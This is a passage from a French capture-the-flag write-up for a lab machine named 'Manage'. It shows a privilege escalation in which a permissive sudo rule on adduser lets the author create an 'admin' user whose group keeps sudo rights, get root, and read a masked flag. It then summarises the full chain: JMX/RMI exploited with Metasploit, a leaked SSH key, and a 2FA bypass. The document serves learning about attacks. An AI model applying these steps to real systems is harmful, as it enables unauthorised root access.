Cette contrainte empêche d’ajouter directement des options à la commande.

Lorsqu’un utilisateur est créé sous Ubuntu avec adduser, un groupe du même nom est également créé automatiquement.

En créant un utilisateur nommé admin, le système crée donc aussi un groupe admin.

Sur cette machine, ce groupe dispose encore de privilèges sudo, ce qui permet au nouvel utilisateur d’exécuter des commandes avec les privilèges root.

Important — contexte spécifique à cette machine
Sur les versions récentes d’Ubuntu, le groupe admin n’est généralement plus utilisé par défaut et a été remplacé par le groupe sudo.
Sur la machine Manage, la configuration conserve encore les privilèges sudo pour le groupe admin, ce qui rend cette élévation possible ici.

Résultat :

L’utilisateur admin nouvellement créé peut exécuter sudo -i et obtenir un shell root immédiatement.

useradmin@manage:~$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
	Full Name []: 
	Room Number []: 
	Work Phone []: 
	Home Phone []: 
	Other []: 
Is the information correct? [Y/n] 
useradmin@manage:~$

Bascule vers l’utilisateur admin

useradmin@manage:~$ su admin
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@manage:/home/useradmin$ sudo -i
[sudo] password for admin: 
root@manage:~# ls -l
total 8
-rw-r----- 1 root root   33 Apr 14  2025 root.txt
drwx------ 3 root root 4096 Mar  1  2024 snap
root@manage:~#

root.txt

root@manage:~# cat root.txt
b364xxxxxxxxxxxxxxxxxxxxxxxxdc34

Conclusion

Cette machine illustre une chaîne d’exploitation cohérente autour d’un service d’administration Java mal sécurisé.

L’accès JMX exposé via RMI permet d’obtenir un premier shell sur la machine grâce à Metasploit.
L’exploration locale révèle ensuite un backup mal protégé contenant une clé SSH privée ainsi que les éléments nécessaires pour contourner l’authentification à deux facteurs.

Enfin, l’analyse des droits sudo met en évidence une règle trop permissive autour de la commande adduser.

La création d’un utilisateur admin permet alors d’obtenir directement un accès root et de finaliser l’exploitation de la machine.

Tu as repéré une erreur, une imprécision ou une amélioration possible ?

N’hésite pas à me le signaler.